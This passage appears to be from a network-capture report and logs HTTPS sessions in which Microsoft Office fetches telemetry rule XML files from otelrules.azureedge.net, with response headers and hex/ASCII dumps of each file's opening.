2024-11-24 09:24:06 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:06 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: be1d1f49-601e-003d-540f-3e6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092406Z-178bfbc474bv587zhC1NYCny5w00000005n0000000006sh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 09:24:06 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:06 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:06 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092406Z-174c587ffdfdwxdvhC1TEB1c4n000000048g000000000vsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:06 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:06 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:06 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092406Z-178bfbc474bnwsh4hC1NYC2ubs00000005vg000000005bt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:06 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:06 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:07 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:07 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 37ac646c-601e-003e-7de2-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092407Z-178bfbc474bh5zbqhC1NYCkdug00000005s0000000003cq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 09:24:07 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:08 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:08 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: fa1269cf-b01e-003d-7592-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092408Z-15b8b599d88phfhnhC1TEBr51n00000004cg0000000067a7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:09 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:08 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:08 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 0722851f-601e-005c-35ea-3df06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092408Z-178bfbc474btrnf9hC1NYCb80g00000005yg000000004k79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:09 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:08 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:08 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c57d99b7-c01e-0079-4efd-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092408Z-178bfbc474bh5zbqhC1NYCkdug00000005q0000000006ntu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:09 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:08 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:09 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 9613c870-301e-0052-532e-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092409Z-178bfbc474bnwsh4hC1NYC2ubs00000005vg000000005bvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:09 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:09 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:09 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092409Z-178bfbc474bmqmgjhC1NYCy16c00000005xg000000001tr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:09 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:11 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092411Z-174c587ffdfks6tlhC1TEBeza400000004d00000000017gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:11 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:11 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092411Z-174c587ffdf4zw2thC1TEBu34000000004cg000000002shk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:11 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 6d656984-c01e-008d-0d1b-3d2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092411Z-178bfbc474bwh9gmhC1NYCy3rs00000005rg00000000cxtf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" 